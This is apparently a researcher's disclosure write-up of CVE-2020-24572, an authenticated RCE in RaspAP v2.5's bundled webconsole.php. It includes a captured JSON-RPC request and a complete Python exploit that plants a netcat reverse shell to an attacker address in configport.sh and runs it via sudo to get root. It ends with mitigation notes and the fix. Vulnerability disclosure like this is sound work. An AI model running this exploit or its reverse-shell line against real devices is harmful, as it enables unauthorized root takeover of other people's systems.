[CVE-2020-24572] Authenticated Remote Code Execution (RCE) via JSON-RPC in RaspAP v2.5

Recently I was messing around with my home lab, and decided I needed to add a wireless AP. After shopping around, looking at Ubiquity products and the like, I decided to take a gamble and build my own AP using a Raspberry Pi 4B 4GB. Comparable in price to some lower-end AP’s, but with more possible functionality besides just being an AP.

With some quick googling around for my project, I came across RaspAP, an opensource project aiming at turning your Raspberry Pi into a wireless access point with ease, and giving you a web interface to work with. I loaded Raspbian on my newly delivered Pi, and got to work. The quick installer in RaspAP is very good, allowing me to setup the AP in minutes using a simple curl/bash piped command. That though is where things got weird.

After finishing setting up the AP, I decided to play around with the web interface in RaspAP. I clicked the System link on the left side nav-bar to see what was there. I noticed a Console Tab. Oh goodie! A full terminal in the web interface!

Now this web console is not built buy the developers of RaspAP, and talking with the developers of RaspAP when I privately disclosed this to them, it was a contribution early on in the project from the developers of webconsole.php. Looking at this project (https://github.com/nickola/web-console), it had not been updated in a number of years, 4+ at the time of this article.

Running some commands on the web console yielded some interesting results…

I came across some custom scripts in this list…

Can we write to them as www-data? Turns out even better yet. We own the scripts, and can run them as root without a password!

Well this just got interesting… Let’s take a look at a request captured by Burp for one of these webconsole commands and see how it’s working…

POST /includes/webconsole.php HTTP/1.1
Host: 10.55.5.11
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 102
Origin: http://10.55.5.11
Authorization: Basic YWRtaW46aGNTNnM4bm11bnU0QzJR
Connection: close
Referer: http://10.55.5.11/includes/webconsole.php
Cookie: theme=lightsout.css; color=#D4AF37; PHPSESSID=qu2g1mltd84fc396amp3n8v49v

{"jsonrpc":"2.0",
"method":"run",
"params":["NO_LOGIN",
          {"user":"", "hostname":"", "path":""},
          "<insert command here>"],
"id":1}

Interesting… So it’s using JSON-RPC to send/recieve commands and output from the remote system running RaspAP and webconsole.php… It’s also not requiring authorization it seems with the NO_LOGIN parameter.

Let’s modify the last bit of this request and see if we can make it write a netcat reverse shell to configport.sh, and then send another request to run the script using sudo. Hopefully giving me root access…

I come up with the following PoC…

#/usr/bin/python3
import sys
import requests

if len(sys.argv) != 6:
    print("---------------------------------------------------------------------------------------")
    print("rasp_pwn.py [target_ip] [port] [attacker_ip] [attacker_port] [RaspAP_admin_pass]")
    print("---------------------------------------------------------------------------------------")
    exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
listener_ip = sys.argv[3]
listener_port = int(sys.argv[4])
raspap_user = "admin"
raspap_pass = sys.argv[5]

session = requests.Session()
session.auth = (raspap_user, raspap_pass)

json_req_1 = {
              "jsonrpc":"2.0",
              "method":"run",
              "params":["NO_LOGIN",
                        {"user":"","hostname":"","path":""},
                        "echo 'touch \/tmp\/f;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/bash -i 2>&1|nc %s %d >\/tmp\/f' >> \/etc\/raspap\/lighttpd\/configport.sh"%(listener_ip, listener_port)
                        ],
              "id":6
              }
json_req_2 = {
              "jsonrpc":"2.0",
              "method":"run",
              "params":["NO_LOGIN",
                        {"user":"","hostname":"","path":""},
                        "sudo \/etc\/raspap\/lighttpd\/configport.sh"
                        ],
              "id":6
              }

r = session.post("http://%s:%d/includes/webconsole.php"%(target,port), json=json_req_1)
print("[!] Reverse shell injected")
print("[!] Sending activation request - Make sure your listener is running . . .")
print("[!] You should be root :)")
r = session.post("http://%s:%d/includes/webconsole.php"%(target,port), json=json_req_2)
print("[*] Done.")

Testing it out…

It seems to work…. Checking the listener…

I get a root shell back! Now, let’s take a look quickly at what could have prevented this.

We see in webconsole.php that this could have easily been mitigated by creating a separate user with heavily limited privileges to run the web console interface. Nikolay, the author of webconsole.php even seemed to expect this and programmed for it.

// Web Console v0.9.7 (2016-11-05)
//
// Author: Nickolay Kovalev (http://nickola.ru)
// GitHub: https://github.com/nickola/web-console
// URL: http://web-console.org

// Disable login (don't ask for credentials, be careful)
// Example: $NO_LOGIN = true;
$NO_LOGIN = true;

// Single-user credentials
// Example: $USER = 'user'; $PASSWORD = 'password';
$USER = '';
$PASSWORD = '';

// Multi-user credentials
// Example: $ACCOUNTS = array('user1' => 'password1', 'user2' => 'password2');
$ACCOUNTS = array();

But alas, as it is a web-based console can never be a truly good idea, and the suggestion I made to the RaspAP developers was to remove the terminal all together, and (securely) program in functions to do the basic network diagnostics like ping, traceroute and the like…

They have taken me up on my advice and removed webconsole.php from git commit. [dd5ab7b]

lunchb0x

[*] References: